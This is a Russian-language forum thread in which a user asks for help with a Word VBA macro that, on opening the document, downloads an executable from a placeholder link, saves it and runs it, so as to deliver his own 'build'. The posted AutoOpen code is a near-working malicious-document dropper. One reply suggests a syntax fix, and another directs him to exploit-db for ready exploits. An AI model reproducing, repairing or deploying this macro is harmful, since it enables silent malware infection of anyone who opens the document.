Подскажите скрипт

Discussion in 'Общие вопросы программирования' started by barracudafs, 25 Nov 2020.

  1. barracudafs

    barracudafs New Member

    Joined:
    5 Oct 2020
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    Всем привет интересует скрипт для макроса в word
    За ране прошу прощения за некорректное выражение объясню как могу
    У меня есть свой билд
    Мне нужно настроить макрос в Word чтоб при открытии документа исполнялся макрос на скачивания и после запуска моего билда нашел в сети такой скрипт что то не получается с ним :

    Sub AutoOpen()

    Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
    Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
    xHttp.Open "GET", "Прямая ссылка на загрузку файла", False
    xHttp.Send

    With bStrm
    .Type = 1 '//binary
    .Open
    .write xHttp.responseBody
    .savetofile "Название файла.exe", 2 '//overwrite
    End With

    Shell ("Название файла.exe")

    End Sub

    Помогите
     
  2. aberkroft

    aberkroft Member

    Joined:
    9 Feb 2020
    Messages:
    43
    Likes Received:
    14
    Reputations:
    3
    В xHttp.Open скобок не хватает )ж
     
  3. lub

    lub New Member

    Joined:
    18 Dec 2020
    Messages:
    4
    Likes Received:
    1
    Reputations:
    0
    Есть сайт, он очень известен, чтобы его называть.
    Ну-хорошо, не буду занудой, имя сайта exploit-db
    зайди и выбери себе подходящее.
     
Loading...